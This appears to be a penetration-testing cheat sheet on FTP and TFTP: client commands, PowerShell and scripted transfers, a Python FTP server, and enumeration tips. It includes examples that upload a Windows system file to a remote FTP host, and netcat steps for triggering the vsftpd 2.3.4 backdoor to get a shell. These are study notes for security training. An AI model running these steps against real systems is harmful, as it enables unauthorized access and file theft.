FTP

File Transfer Protocol

• Uses Port 20 for Data and Port 21 for Commands.

• It can use UDP over Port 69 for TFTP.

• Always check for anonymous login being enabled.

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Basic Commands

• Start the service:

ftp <IP>
tftp <IP>

• To login as any other user:

USER <user>

• To specify a password:

PASS <password>

• Download a file:

get <file>

• Upload a file:

put <file_path> <destination_path>

• Passive mode:

passive

• Change the local directory for downloads:

lcd /home/<your-username>

• Exit the session:

quit

• Transferring files using powershell:

(New-Object Net.WebClient).DownloadFile('ftp://192.168.49.128/file.txt', 'C:\Users\Public\ftp-file.txt')

• Upload a file using powershell

PS C:\htb> (New-Object Net.WebClient).UploadFile('ftp://192.168.49.128/ftp-hosts', 'C:\Windows\System32\drivers\etc\hosts')

• If anonymous login is enabled, use curl:

curl -O ftp://<server-address>/path/to/file

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TFTP

• Uses binary mode for non-text files:

mode binary

• Uses ASCII mode for text files:

mode ascii

• To look for files in the TFTP root:

find / -name file.txt

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Enumeration

• Is always good practice to look for vulnerabilities:

searchsploit <version>

• Check where you land:

pwd

• List directories:

dir

• This is the default config file for TFTP --> tftpd-hpa

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FTP Python Server

• First, Install the Python module:

sudo pip3 install pyftpdlib

• Then, set the server:

sudo python3 -m pyftpdlib --port 21

• By default, pyftpdlib uses Port 2121, anonymous authentication is enabled by default if we don't set a user and password.

• Allow users to upload files:

sudo python3 -m pyftpdlib --port 21 --write

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Create a command file

• Is possible to create command files and execute then using the -s flag:

ftp -v -n -s:ftpcommand.txt

• Copy this in to a file to create a script that will download a file:

open 192.168.49.128
USER anonymous
binary
GET file.txt
bye

• Copy this in to a file to create a script that will upload a file to the server:

open 192.168.49.128
USER anonymous
binary
PUT c:\windows\system32\drivers\etc\hosts
bye

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Vulnerabilities

vsftpd 2.3.4

• Connect to FTP with any username that contains :), and any password.

• Then connect to port 6200 to get a shell:

nc 10.10.10.131 21

• Now connect to the backdoor:

nc 10.10.10.131 6200

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